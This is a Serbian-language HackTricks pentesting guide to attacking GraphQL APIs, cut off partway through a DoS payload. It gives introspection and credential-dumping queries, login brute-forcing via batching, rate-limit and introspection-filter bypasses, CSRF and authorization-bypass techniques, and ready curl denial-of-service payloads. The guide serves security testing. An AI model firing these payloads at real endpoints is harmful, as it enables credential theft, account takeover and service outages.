GraphQL
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Uvod
GraphQL je istaknut kao efikasna alternativa REST API-ju, nudeći pojednostavljen pristup za upite podataka sa backenda. Za razliku od REST-a, koji često zahteva brojne zahteve prema različitim endpoint-ovima da bi prikupio podatke, GraphQL omogućava dobijanje svih potrebnih informacija putem jednog zahteva. Ovo pojednostavljenje značajno pomaže razvijačima smanjujući složenost procesa dohvaćanja podataka.
GraphQL i bezbednost
Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Bitno je napomenuti da GraphQL po difoltu ne sadrži mehanizme autentifikacije. Implementacija takvih bezbednosnih mera je odgovornost razvijača. Bez odgovarajuće autentifikacije, GraphQL endpointi mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik.
Directory Brute Force Attacks and GraphQL
Da bi se identifikovale izložene GraphQL instance, preporučuje se uključivanje specifičnih putanja u directory brute force napade. Ove putanje su:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
Identifikovanje otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih preko endpoint-a. GraphQL-ov introspection sistem to olakšava detaljno navodeći upite koje schema podržava. Za više informacija o ovome, pogledajte GraphQL dokumentaciju o introspection: GraphQL: A query language for APIs.
Fingerprint
Alat graphw00f može da otkrije koji GraphQL engine se koristi na serveru i zatim ispiše korisne informacije za bezbednosnog auditora.
Univerzalni upiti
Da bi se proverilo da li je URL GraphQL servis, može se poslati univerzalni upit, query{__typename}. Ako odgovor sadrži {"data": {"__typename": "Query"}}, to potvrđuje da URL hostuje GraphQL endpoint. Ova metoda se oslanja na GraphQL polje __typename, koje otkriva tip objekta koji se upitom traži.
query{__typename}
Osnovna enumeracija
Graphql obično podržava GET, POST (x-www-form-urlencoded) i POST(json). Ipak, iz bezbednosnih razloga preporučuje se dozvoliti samo json kako bi se sprečili CSRF napadi.
Introspekcija
Da biste koristili introspekciju za otkrivanje informacija o shemi, upitajte polje __schema. Ovo polje je dostupno na root type-u svih upita.
query={__schema{types{name,fields{name}}}}
Ovim upitom naći ćete imena svih tipova koji se koriste:
.png)
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Pomoću ovog upita možeš izdvojiti sve tipove, njihova polja i njihove argumente (i tip argumenata). Ovo će biti veoma korisno da znaš kako da upituješ bazu podataka.
.png)
Greške
Zanimljivo je znati da li će se greške prikazivati, jer će doprineti korisnim informacijama.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
.png)
Enumeracija šeme baze podataka putem introspekcije
Tip
Ako je introspekcija omogućena, ali prethodni upit ne radi, pokušajte ukloniti direktive
onOperation,onFragment, ionFieldiz strukture upita.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Ugrađeni upit za introspekciju:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
Poslednja linija koda je GraphQL query koji će ispisati svu meta-informaciju iz GraphQL-a (imena objekata, parametri, tipovi…)
.png)
If introspection is enabled you can use GraphQL Voyager to view in a GUI all the options.
Upiti
Sada kad znamo koje vrste informacija se čuvaju u bazi podataka, pokušajmo da izvucemo neke vrednosti.
U introspection možete pronaći koji objekat možete direktno da upitujete (jer ne možete upitati objekat samo zato što postoji). Na sledećoj slici možete videti da se “queryType” zove “Query” i da je jedno od polja objekta “Query” “flags”, koje je takođe tip objekta. Dakle, možete upitati objekat “flags”.

Obratite pažnju da je tip upita “flags” “Flags”, i da je ovaj objekat definisan kao dole:
.png)
Možete videti da su objekti “Flags” sastavljeni od name i .value. Zatim možete dobiti sva imena i vrednosti flagova pomoću upita:
query={flags{name, value}}
Imajte na umu da, ako je objekat koji se upituje primitivan tip, npr. string, kao u sledećem primeru
.png)
Možete ga jednostavno upitati pomoću:
query = { hiddenFlags }
U drugom primeru gde su bila 2 objekta unutar “Query” tip objekta: “user” i “users”.
Ako ovi objekti ne zahtevaju nikakav argument za pretragu, možete dohvatiti sve informacije iz njih samo tražeći podatke koje želite. U ovom primeru sa Interneta mogli biste izvući sačuvana korisnička imena i lozinke:
.png)
Međutim, u ovom primeru ako pokušate to da uradite dobijate ovu grešku:
.png)
Izgleda da na neki način pretražuje koristeći “uid” argument tipa Int.
U svakom slučaju, to smo već znali, u Basic Enumeration sekciji je predložen query koji nam je pokazao sve potrebne informacije: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Ako pogledate sliku koja je prikazana kada sam pokrenuo taj query videćete da “user” ima arg “uid” tipa Int.
Dakle, izvršivši malu bruteforce proveru nad uid pronašao sam da za uid=1 vraća se korisničko ime i lozinka:query={user(uid:1){user,password}}
.png)
Primetite da sam otkrio da mogu da zatražim parametre “user” i “password” jer ako pokušam da tražim nešto što ne postoji (query={user(uid:1){noExists}}) dobijem ovu grešku:
.png)
I tokom enumeration phase otkrio sam da objekat “dbuser” ima polja “user” i “password.
Query string dump trick (thanks to @BinaryShadow_)
Ako možete da pretražujete po string tipu, npr: query={theusers(description: ""){username,password}} i pretražujete praznim stringom, to će izbaciti sve podatke. (Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete da pretražujete koristeći “theusers” po String polju nazvanom “description”).
Searching
U ovoj postavci, baza podataka sadrži persons i movies. Persons se identifikuju po njihovom email i name; movies po njihovom name i rating. Persons mogu biti prijatelji međusobno i takođe imati movies, što označava relacije unutar baze podataka.
Možete pretraživati persons po name i dobiti njihove email-ove:
{
searchPerson(name: "John Doe") {
email
}
}
Možete pretraživati osobe po imenu i dobiti njihove pretplaćene filmove:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Obratite pažnju kako je naznačeno da se dobije name iz subscribedMovies te osobe.
Takođe možete pretraživati više objekata istovremeno. U ovom slučaju pretražuju se 2 filma:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Ili čak relacije više različitih objekata pomoću aliasa:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutacije
Mutacije se koriste za pravljenje promena na serverskoj strani.
U introspection možete pronaći deklarisane mutacije. Na sledećoj slici “MutationType” se zove “Mutation” i objekat “Mutation” sadrži nazive mutacija (kao što je “addPerson” u ovom slučaju):
.png)
U ovom podešavanju, a database sadrži persons i movies. Persons su identifikovani po svom email i name; movies po svom name i rating. Persons mogu biti prijatelji jedan s drugim i takođe imati movies, što ukazuje na relacije unutar baze podataka.
Mutacija za kreiranje novih movies unutar baze podataka može izgledati ovako (u ovom primeru mutacija se zove addMovie):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Obratite pažnju kako su i vrednosti i tip podataka naznačeni u upitu.
Pored toga, baza podataka podržava mutation operaciju, nazvanu addPerson, koja omogućava kreiranje osoba zajedno sa njihovim povezivanjem na postojeće prijatelje i filmove. Važno je napomenuti da prijatelji i filmovi moraju već postojati u bazi podataka pre nego što se povežu sa novo kreiranom osobom.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
As explained in one of the vulns described in this report, a directive overloading podrazumeva pozivanje jedne direktive i po nekoliko miliona puta da bi server trošio operacije dok nije moguće izazvati DoS.
Batching brute-force in 1 API request
This information was take from [https://lab.wallarm.com/graphql-batching-attack/].
Autentifikacija preko GraphQL API-ja sa simultaneously sending many queries with different credentials radi provere. To je klasičan brute force attack, ali sada je moguće poslati više od jednog login/password para po HTTP zahtevu zbog GraphQL batching feature. Ovakav pristup može prevariti spoljne aplikacije za praćenje rate limiting-a i učiniti da deluje kao da nema brute-forcing bota koji pokušava da pogodi lozinke.
Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:
.png)
Kao što se vidi na screenshot-u odgovora, prvi i treći zahtevi su vratili null i prikazali odgovarajuće informacije u error sekciji. The second mutation had the correct authentication data i odgovor sadrži ispravan authentication session token.
 (1).png)
GraphQL Without Introspection
Sve više GraphQL endpoints onemogućava introspection. Međutim, greške koje GraphQL baca kada primi neočekivan zahtev su dovoljne da alati poput clairvoyance rekonstrušu većinu šeme.
Pored toga, Burp Suite ekstenzija GraphQuail posmatra GraphQL API zahteve koji prolaze kroz Burp i gradi internu GraphQL šemu sa svakim novim upitom koji vidi. Može takođe izložiti šemu za GraphiQL i Voyager. Ekstenzija vraća lažni odgovor kada primi introspection query. Kao rezultat, GraphQuail prikazuje sve upite, argumente i polja dostupna za korišćenje u API-ju. Za više informacija check this.
A nice wordlist to discover GraphQL entities can be found here.
Bypassing GraphQL introspection defences
Da biste zaobišli ograničenja na introspection queries u API-jima, umetanje posebnog karaktera nakon __schema keyword pokazuje se efikasnim. Ova metoda iskorišćava uobičajene propuste developera u regex paternu koji pokušava da blokira introspekciju fokusirajući se na __schema keyword. Dodavanjem karaktera kao što su razmaci, novi redovi i zarezi, koje GraphQL ignoriše ali možda nisu obuhvaćeni u regex-u, ograničenja se mogu zaobići. Na primer, introspection query sa novim redom nakon __schema može zaobići takve odbrane:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Ako ne uspete, razmotrite alternativne metode slanja zahteva, kao što su GET requests ili POST with x-www-form-urlencoded, jer ograničenja mogu važiti samo za POST requests.
Isprobajte WebSockets
Kako je pomenuto u this talk, proverite da li je moguće povezati se na graphQL preko WebSockets, jer bi to moglo omogućiti zaobilaženje potencijalnog WAF-a i učiniti da websocket komunikacija leak-uje šemu graphQL-a:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Otkrivanje izloženih GraphQL struktura
Kada je introspekcija onemogućena, pregled izvornog koda sajta u potrazi za prethodno učitanim upitima u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu naći koristeći karticu Sources u alatkama za programere, pružajući uvid u šemu API-ja i otkrivajući potencijalno izložene osetljive upite. Komande za pretragu unutar alatki za programere su:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)
Kada je introspekcija onemogućena, InQL v6.1+ sada može da rekonstruiše dostupni schema isključivo pomoću povratnih informacija iz grešaka. Novi schema bruteforcer grupiše kandidatska imena polja/argumenata iz konfigurisane wordlist-e i šalje ih u multi-field operacijama kako bi smanjio HTTP chatter. Korisni obrasci grešaka se zatim automatski sakupljaju:
Field 'bugs' not found on type 'inql'potvrđuje postojanje roditeljskog tipa dok odbacuje nevažeća imena polja.Argument 'contribution' is requiredpokazuje da je argument obavezan i otkriva njegovo spelovanje.- Sugestije poput
Did you mean 'openPR'?vraćaju se u red kao validirani kandidati. - Namernim slanjem vrednosti pogrešnog primitivnog tipa (npr. integers umesto strings) bruteforcer izaziva greške neusaglašenosti tipova koje leak-uju stvarni tip, uključujući list/object wrapper-e kao
[Episode!].
Bruteforcer nastavlja da rekurzivno istražuje svaki tip koji otkrije nova polja, tako da wordlist koji meša generička GraphQL imena sa aplikaciono-specifičnim pretpostavkama na kraju mapira velike delove schema bez introspekcije. Vreme izvođenja uglavnom ograničavaju rate limiting i obim kandidata, pa je fino podešavanje InQL podešavanja (wordlist, batch size, throttling, retries) kritično za diskretnije angažmane.
U istoj verziji, InQL donosi GraphQL engine fingerprinter (pozajmljujući potpise od alata kao što je graphw00f). Modul šalje namerno nevalidne directives/queries i klasifikuje backend upoređujući tačan tekst greške. Na primer:
query @deprecated {
__typename
}
- Apollo odgovara sa
Directive "@deprecated" may not be used on QUERY. - GraphQL Ruby odgovara
'@deprecated' can't be applied to queries.
Kada je engine prepoznat, InQL prikazuje odgovarajući unos iz GraphQL Threat Matrix, pomažući testerima da prioritizuju slabosti koje su tipične za tu porodicu servera (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).
Na kraju, automatsko generisanje varijabli uklanja klasičnu prepreku pri pivotiranju u Burp Repeater/Intruder. Kad god operacija zahteva variables JSON, InQL sada ubacuje razumne podrazumevane vrednosti tako da zahtev prođe schema validation pri prvom slanju:
"String" -> "exampleString"
"Int" -> 42
"Float" -> 3.14
"Boolean" -> true
"ID" -> "123"
ENUM -> first declared value
Ugnježdeni input objekti nasleđuju isto mapiranje, tako da odmah dobijate sintaktički i semantički validan payload koji može biti fuzzed za SQLi/NoSQLi/SSRF/logic bypasses bez ručnog reverse-engineeringa svakog argumenta.
CSRF u GraphQL
Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
CSRF (Cross Site Request Forgery)
Tamo ćete moći da pronađete više GraphQL endpoint-a koji su konfigurisani bez CSRF tokena.
Imajte na umu da se GraphQL zahtevi obično šalju putem POST zahteva koristeći Content-Type application/json.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Međutim, većina GraphQL endpoints takođe podržava form-urlencoded POST requests:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Dakle, pošto se CSRF requests poput prethodnih šalju bez preflight requests, moguće je izvršiti promene u GraphQL iskorišćavanjem CSRF-a.
Ipak, imajte na umu da je nova podrazumevana vrednost cookie-a za samesite flag u Chrome-u Lax. To znači da će cookie biti poslat samo sa third-party web-a u GET requests.
Obratite pažnju da je obično moguće poslati query request i kao GET request i da CSRF token možda neće biti validiran u GET request-u.
Takođe, iskorišćavanje XS-Search napada može omogućiti eksfiltraciju sadržaja sa GraphQL endpoint-a koristeći kredencijale korisnika.
Za više informacija pogledajte original post here.
Cross-site WebSocket hijacking in GraphQL
Slično CRSF ranjivostima koje iskorišćavaju GraphQL, moguće je i izvršiti Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies i naterati korisnika da izvrši neočekivane akcije u GraphQL.
For more information check:
Authorization in GraphQL
Mnoge GraphQL funkcije definisane na endpoint-u mogu proveravati samo autentifikaciju podnosioca zahteva, ali ne i autorizaciju.
Menjanje query input varijabli može dovesti do osetljivih podataka naloga leaked.
Mutation može čak dovesti do preuzimanja naloga pokušajem izmena podataka drugih naloga.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Zaobilaženje autorizacije u GraphQL
Chaining queries zajedno mogu zaobići slab autentikacioni sistem.
U primeru ispod možete videti da je operacija “forgotPassword” i da bi trebalo da izvrši samo odgovarajući forgotPassword query. Ovo se može zaobići dodavanjem query-ja na kraj; u ovom slučaju dodajemo “register” i promenljivu user da se sistem registruje kao novi korisnik.
Zaobilaženje ograničenja brzine koristeći Aliases u GraphQL
U GraphQL, aliases su moćna funkcija koja omogućava eksplicitno imenovanje svojstava prilikom slanja API zahteva. Ova mogućnost je naročito korisna za dobijanje više instanci istog tipa objekta u okviru jednog zahteva. Aliases se mogu koristiti za prevazilaženje ograničenja koje sprečava GraphQL objekte da imaju više svojstava istog imena.
Za detaljno razumevanje GraphQL aliases, preporučuje se sledeći izvor: Aliases.
Iako je primarna svrha aliases smanjenje potrebe za brojnim API pozivima, identifikovan je neočekivan slučaj upotrebe gde se aliases mogu iskoristiti za izvršavanje brute force napada na GraphQL endpoint. To je moguće zato što su neki endpointi zaštićeni rate limiter-ima dizajniranim da odvrate brute force napade ograničavanjem broja HTTP zahteva. Međutim, ti rate limiter-i možda ne uzimaju u obzir broj operacija unutar svakog zahteva. Pošto aliases dozvoljavaju uključivanje više query-ja u jedinstven HTTP zahtev, mogu zaobići takve mere ograničavanja.
Uzmite u obzir primer ispod, koji ilustruje kako aliased queries mogu biti iskorišćene za proveru validnosti kodova za popust u prodavnici. Ova metoda može zaobići rate limiting jer kombinuje više query-ja u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju velikog broja kodova za popust istovremeno.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading je GraphQL ranjivost u kojoj napadači preopterete upit mnoštvom aliasa za isto polje, primoravajući backend resolver da izvrši to polje više puta. Ovo može preopteretiti resurse servera, što može dovesti do Denial of Service (DoS). Na primer, u upitu ispod isto polje (expensiveField) se zahteva 1,000 puta koristeći alias-e, primoravajući backend da ga izračuna 1,000 puta, što može iscrpeti CPU ili memoriju:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Da biste to ublažili, implementirajte ograničenja broja aliasa, analizu kompleksnosti upita ili rate limiting kako biste sprečili zloupotrebu resursa.
Array-based Query Batching
Array-based Query Batching je ranjivost u kojoj GraphQL API dopušta grupisanje više upita u jednom zahtevu, omogućavajući napadaču da pošalje veliki broj upita istovremeno. Ovo može preopteretiti backend tako što će svi grupisani upiti biti izvršeni paralelno, trošeći prekomerne resurse (CPU, memoriju, konekcije ka bazi podataka) i potencijalno dovodeći do Denial of Service (DoS). Ako ne postoji ograničenje broja upita u batch-u, napadač može to iskoristiti da degradira dostupnost servisa.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
U ovom primeru, 10 različitih upita je grupisano u jedan zahtev, primoravajući server da ih sve izvrši istovremeno. Ako se iskoristi sa većim brojem grupisanih upita ili računski zahtevnim upitima, može preopteretiti server.
Directive Overloading Vulnerability
Directive Overloading nastaje kada GraphQL server dozvoli upite sa prekomernim, dupliranim direktivama. To može preopteretiti parser i executor servera, naročito ako server više puta obrađuje istu logiku direktive. Bez odgovarajuće validacije ili ograničenja, napadač može iskoristiti ovo tako što će konstruisati upit sa brojnim duplim direktivama kako bi izazvao visoku potrošnju računarskih ili memorijskih resursa, što dovodi do Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Imajte na umu da je u prethodnom primeru @aa prilagođena direktiva koja možda nije deklarisana. Uobičajena direktiva koja obično postoji je @include:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
Takođe možete poslati introspekcioni upit da otkrijete sve deklarisane direktive:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
A zatim koristite neke od prilagođenih.
Field Duplication Vulnerability
Field Duplication je ranjivost u kojoj GraphQL server dozvoljava upite sa istim poljem prekomerno ponovljenim. To primorava server da rešava polje redundantno za svaki slučaj, trošeći značajne resurse (CPU, memoriju i pozive baze podataka). Napadač može konstruisati upite sa stotinama ili hiljadama ponovljenih polja, izazivajući veliko opterećenje i potencijalno dovodeći do Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 